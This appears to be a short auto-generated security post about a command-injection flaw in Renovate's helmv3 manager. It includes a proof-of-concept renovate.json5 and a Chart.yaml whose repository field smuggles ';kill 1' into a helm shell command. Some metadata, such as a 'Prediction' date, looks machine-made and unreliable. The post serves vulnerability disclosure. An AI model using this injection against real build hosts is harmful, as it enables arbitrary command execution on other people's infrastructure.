Listen to this Post
How the mentioned CVE works:
The vulnerability is a command injection in Renovate’s `helmv3` manager. User-controlled input from the `repository` field in a `Chart.yaml` file is passed directly to the `helm registry login` command without proper sanitization. In the file lib/modules/manager/helmv3/common.ts, the `repository` variable is not escaped using the `quote` function from the `shlex` package before being appended to the shell command. An attacker with write access to a repository scanned by Renovate can craft a malicious `Chart.yaml` with a `repository` value containing shell metacharacters (e.g., ; kill 1). By combining this with a tailored `renovate.json5` configuration file—using features like `overrideDatasource` and hostRules—they can trick Renovate into executing the injected command during its dependency update process. This allows arbitrary command execution on the host running the Renovate bot.
Platform: Renovate
Version: 31.51.0+
Vulnerability: Command Injection
Severity: Critical
date: 2022-01-24
Prediction: 2024-11-15
What Undercode Say:
// Vulnerable code pattern in lib/modules/manager/helmv3/common.ts
const repo = repository; // User input
exec(<code>helm registry login ${repo}</code>); // Not sanitized
// Exploit configuration uses overrideDatasource
"overrideDatasource": "custom.always"
How Exploit:
// Malicious renovate.json5 config
hostRules: [{
matchHost: "charts.bitnami.com",
username: "un", password: "pw"
}],
packageRules: [{
matchManagers: ["helmv3"],
registryUrls: [],
overrideDatasource: "custom.always"
}]
// Malicious Chart.yaml
apiVersion: v2
name: test
repository: ";kill 1"
Protection from this CVE:
- Apply patch
- Input sanitization
- Restrict configurations
Impact:
- Arbitrary command execution
- Host compromise
- Privilege escalation
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
